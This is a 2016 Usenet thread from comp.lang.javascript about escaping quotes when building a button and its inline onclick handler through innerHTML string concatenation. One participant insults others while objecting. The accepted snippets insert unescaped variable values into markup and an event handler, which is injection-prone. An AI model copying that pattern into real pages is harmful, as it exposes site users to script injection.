It does work. In javascript parameters default to undefined so if newFN
is called with only 1 argument then it will work and the second parameter
will be set to undefined.
|
|
0 |
|
cyber
12/13/2016 6:32:59 PM
cyber@example.com wrote:
> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>> cyber@example.com wrote:
>>> justaguy <lichunshen84@gmail.com> wrote:
>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>>> wrote:
>>>>> > justaguy <> wrote:
>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
>>>>> > > cy...@example.com wrote:
>>>>> > >> var newFN = function(f,n) {
>> ^^^
>>>>> > >> console.log(f,n);
>>>>> > >> }
>>> […]
>>> This should work:
>>>
>>> s2.innerHTML = " "
>>> + fn +
>>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
>> ^ ^
>>> 'newFN(\""+fn+"\" + "+num+");'>";
>> ^^^^^^^^^^^^^^
>> It does not. (The value of) “num” has to be (the value of) the *second*
>> argument to newFN().
>
> It does work.
For suitable values of “work”.
> In javascript
There is no “javascript”.
> parameters default to undefined
In implementations of ECMAScript, the value of formal parameters for which
no argument was passed usually defaults to the “undefined” value.
> so if newFN is called with only 1 argument then it will work
See above.
> and the second parameter will be set to undefined.
This is obviously not what the OP wants, so it is bad advice.
Get a (real) name, and stop misusing the example.com domain.
..
..
..
..
..
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
|
|
0 |
|
Thomas
12/13/2016 6:47:59 PM
Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
> cyber@example.com wrote:
>
>> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>>> cyber@example.com wrote:
>>>> justaguy <lichunshen84@gmail.com> wrote:
>>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>>>> wrote:
>>>>>> > justaguy <> wrote:
>>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
>>>>>> > > cy...@example.com wrote:
>>>>>> > >> var newFN = function(f,n) {
>>> ^^^
>>>>>> > >> console.log(f,n);
>>>>>> > >> }
>>>> […]
>>>> This should work:
>>>>
>>>> s2.innerHTML = " "
>>>> + fn +
>>>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
>>> ^ ^
>>>> 'newFN(\""+fn+"\" + "+num+");'>";
>>> ^^^^^^^^^^^^^^
>>> It does not. (The value of) “num” has to be (the value of) the *second*
>>> argument to newFN().
>>
>> It does work.
>
> For suitable values of “work”.
It produces the intended result without error in all major browsers.
That seems like a reasonable definition to me.
>> In javascript
>
> There is no “javascript”.
Guess this room should be renamed to comp.lang.notjavascript then.
>> parameters default to undefined
>
> In implementations of ECMAScript, the value of formal parameters for which
> no argument was passed usually defaults to the “undefined” value.
The author his code is likely meant for browsers.
This means that talking about implementations of ECMAScript in general
might not be as relevant to him as talking about Javascript as implemented
in the major browsers is.
>> and the second parameter will be set to undefined.
>
> This is obviously not what the OP wants, so it is bad advice.
>
He edited my code to pass 1 argument instead of 2 which made me think that
he changed his mind and now only wanted to pass 1 argument instead of 2.
And since we do not know what he wants to do with this (newFN seems to
be a mere placeholder for testing purposes) it really is not that obvious what
he wants.
|
|
0 |
|
cyber
12/13/2016 7:43:10 PM
On Tuesday, December 13, 2016 at 6:50:01 AM UTC-5, cy...@example.com wrote:
> justaguy <> wrote:
> > On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
> >> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com wrote:
> >> > justaguy <> wrote:
> >> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5, cy...@example.com wrote:
> >> > >> justaguy <> wrote:
> >> > >> >
> >> > >> > HTML:
> >> > >> > <html>
> >> > >> > <body>
> >> > >> > <span id="nav"></span>
> >> > >> > </body>
> >> > >> > </html>
> >> > >> >
> >> > >> > JavaScript:
> >> > >> > <script>
> >> > >> >
> >> > >> > var s = document.getElementById('nav'),
> >> > >> > num = 0,
> >> > >> > fn = " a new field name ";
> >> > >> > /* in my actual code, the var s represent an element dynamically created
> >> > >> > but to get key point across I'm using static element here
> >> > >> > */
> >> > >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN("+fn+" + "," +num+);'>";
> >> > >> >
> >> > >> > var newFN = function(f,n) {
> >> > >> > console.log(f,n);
> >> > >> > }
> >> > >> >
> >> > >> > </script>
> >> > >> >
> >> > >> > Intention:
> >> > >> > for the s.innerHTML to have a button, with a "+" value/sign, upon click of which, it loads a function named "newFN" with two parameters
> >> > >> >
> >> > >> > Problem:
> >> > >> > Not sure to how to manage the quotes (both singles and doubles) for the s.innerHTML line, the right side of the equation.
> >> > >> >
> >> > >> > Thanks.
> >> > >>
> >> > >> This should work:
> >> > >>
> >> > >> <html>
> >> > >> <body>
> >> > >> <span id="nav"></span>
> >> > >> <script>
> >> > >>
> >> > >> var s = document.getElementById('nav'),
> >> > >> num = 0,
> >> > >> fn = " a new field name ";
> >> > >> /* in my actual code, the var s represent an element dynamically created
> >> > >> but to get key point across I'm using static element here
> >> > >> */
> >> > >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", \"+num+\");'>";
> >> > >>
> >> > >> var newFN = function(f,n) {
> >> > >> console.log(f,n);
> >> > >> }
> >> > >>
> >> > >> </script>
> >> > >>
> >> > >> </body>
> >> > >> </html>
> >> > >
> >> > > Getting close except that the num var value has not been passed down. And since it's a number we don't need quotes for it as a parameter value. Thanks.
> >> > >
> >> >
> >> > This should pass the num variable:
> >> > s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" + \", "+num+");'>";
> >>
> >> Somehow I missed your response.
> >>
> >> Yeah, it does, but with the + sign in front of it. And I removed it, so, the code is now:
> >> s.innerHTML = " " + fn + " <input type='button' value='x' onclick = 'newFN(\""+fn+" \", "+num+");'>";
> >>
> >> It works perfectly. Thank you.
> >
> > Ok, now I have a new requirement, that is, to add an ID to the button.
> > the value of the ID is made of a string and a number.
> >
> > The following code still hasn't escaped some quotes. How to fix it? Thanks.
> >
> > var s2;
> > s2 = " "
> > + fn +
> > " <input type='button' id="NewEl"+num value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
>
> This should work:
>
> s2.innerHTML = " "
> + fn +
> " <input type='button' id='NewEl"+num+"' value='x' onclick = 'newFN(\""+fn+"\" + "+num+");'>";
>
> If NewEl is meant to be the string "NewEl" then you need to put it between quotes or else it will be be
> interpreted as a variable.
> And num and the + operator should be outside the quotes since num is meant to be a variable and +
> is meant to be the concatenation operator, but if you put them between quotes they will just be
> seen as being the strings "num" and "+" respectively.
>
> BTW the s2 button would call newFN while leaving n undefined so that parameter could be removed.
Yeah, perfect. This technique of inserting two double quotes inside single quotes for the num var value really does the trick, id='NewEl"+num+"'
Many thanks.
|
|
0 |
|
justaguy
12/14/2016 1:07:10 AM
cyber@example.com wrote:
> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>> cyber@example.com wrote:
>>> Thomas 'PointedEars' Lahn <PointedEars@web.de> wrote:
>>>> cyber@example.com wrote:
>>>>> justaguy <lichunshen84@gmail.com> wrote:
>>>>>> On Monday, December 12, 2016 at 5:10:17 PM UTC-5, justaguy wrote:
>>>>>>> On Monday, December 12, 2016 at 1:15:22 PM UTC-5, cy...@example.com
>>>>>>> wrote:
>>>>>>> > justaguy <> wrote:
>>>>>>> > > On Monday, December 12, 2016 at 12:53:40 PM UTC-5,
>>>>>>> > > cy...@example.com wrote:
>>>>>>> > >> var newFN = function(f,n) {
>>>> ^^^
>>>>>>> > >> console.log(f,n);
>>>>>>> > >> }
>>>>> […]
>>>>> This should work:
>>>>>
>>>>> s2.innerHTML = " "
>>>>> + fn +
>>>>> " <input type='button' id='NewEl"+num+"' value='x' onclick =
>>>> ^ ^
>>>>> 'newFN(\""+fn+"\" + "+num+");'>";
>>>> ^^^^^^^^^^^^^^
>>>> It does not. (The value of) “num” has to be (the value of) the
>>>> *second* argument to newFN().
>>> It does work.
>> For suitable values of “work”.
>
> It produces the intended result without error in all major browsers.
It does not.
| Intention:
| for the s.innerHTML to have a button, with a "+" value/sign, upon click
| of which, it loads a function named "newFN" with two parameters
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>>> In javascript
>> There is no “javascript”.
>
> Guess this room should be renamed to comp.lang.notjavascript then.
Fool, this is not an (Web/Internet [relay] chat) room, it is a Usenet
newsgroup.
As for “javascript”, see my sig.
>>> parameters default to undefined
>> In implementations of ECMAScript, the value of formal parameters for
>> which no argument was passed usually defaults to the “undefined” value.
>
> The author his code is likely meant for browsers.
> This means that talking about implementations of ECMAScript in general
> might not be as relevant to him as talking about Javascript as implemented
> in the major browsers is.
My point was your wrong, wannabe terminology.
> He edited my code to pass 1 argument instead of 2 which made me think that
> he changed his mind and now only wanted to pass 1 argument instead of 2.
> And since we do not know what he wants to do with this (newFN seems to
> be a mere placeholder for testing purposes) it really is not that obvious
> what he wants.
The record shows, and this thread shows it again, that the OP does not know
what the heck they are doing. Neither do you. It is very obviously cargo
cult programming at best.
As I have showed, string concatenation to build markup from variable values
is _not_ how this is done properly with regard to maintainability, runtime
efficiency, and security, to name just the most important aspects. And, for
sure, the values that are displayed to the user certainly should not
coincide with the values used internally, so, missing HTML escaping aside,
using “fn” in those two places is *wrong*.
Your concluding that the OP’s unexplained omission constitutes a change of
mind is far-fetched, to say the least.
Does it require a formal complaint to your service provider before you stop
abusing the example.com documentation domain?
Does it require lots of people to killfile you before you get yourself a
(real) name?
Or can you, perhaps, just FOAD, before you spread further wannabe nonsense?
Because we really do not need yet another one of you. TIA.
--
PointedEars
FAQ: <http://PointedEars.de/faq> | <http://PointedEars.de/es-matrix>
<https://github.com/PointedEars> | <http://PointedEars.de/wsvn/>
Twitter: @PointedEars2 | Please do not cc me./Bitte keine Kopien per E-Mail.
|
|
0 |
|
Thomas
12/14/2016 11:24:18 AM